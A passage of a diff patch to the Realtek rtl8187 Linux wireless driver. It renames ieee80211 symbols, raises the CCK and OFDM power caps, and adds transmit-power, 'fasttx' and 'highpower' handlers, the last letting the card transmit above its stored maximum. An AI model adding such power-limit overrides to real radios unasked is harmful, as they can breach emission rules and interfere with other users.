rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,48 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - - max_cck_power_level = 15; + + + max_cck_power_level = 35; //min_cck_power_level = 0; - max_ofdm_power_level = 25; // 12 -> 25 + max_ofdm_power_level = 35; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + if(cck_power_level >= 20 && cck_power_level < 30) + cck_power_level = 19; + for(i=0;i<8;i++){ - power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +482,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +511,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +557,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +626,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +681,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +711,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +741,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +772,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +799,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +824,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +852,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +902,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +915,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x86); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +980,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1007,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1024,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_wx.c 2006-06-05 22:58:02.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c 2008-08-12 13:11:32.000000000 -0400 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,228 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(!(priv->highpower) && wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > 35) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); +// if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); +// if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + + up(&priv->wx_sem); + + return 0; +} + +static int r8180_wx_set_fasttx(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + short prev = priv->fasttx; + + down(&priv->wx_sem); + + if(enable) + priv->fasttx=1; + else + priv->fasttx=0; + + DMESG("Transmission method (regarding speed) set to: %s", + priv->fasttx ? "fast" : "normal"); + + if(prev != priv->fasttx && priv->up){ + rtl8180_down(dev); + rtl8180_up(dev); + } + up(&priv->wx_sem); - + + return 0; +} + +static int r8180_wx_set_highpower(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + int i=0; + short prev = priv->highpower; + + down(&priv->wx_sem); + + if(enable) + priv->highpower=1; + else + priv->highpower=0; + + DMESG("Increasable transmission power %s", + priv->highpower ? "enabled" : "disabled"); + + if( (prev != priv->highpower) && !(priv->highpower) && (priv->chtxpwr[1] > priv->chtxpwr_orig[1]) ) + { + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i]; + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i]; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + wrqu->power.value = priv->txpwr_max; + } + + up(&priv->wx_sem); + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +307,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +340,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +364,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +388,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +407,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +459,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = 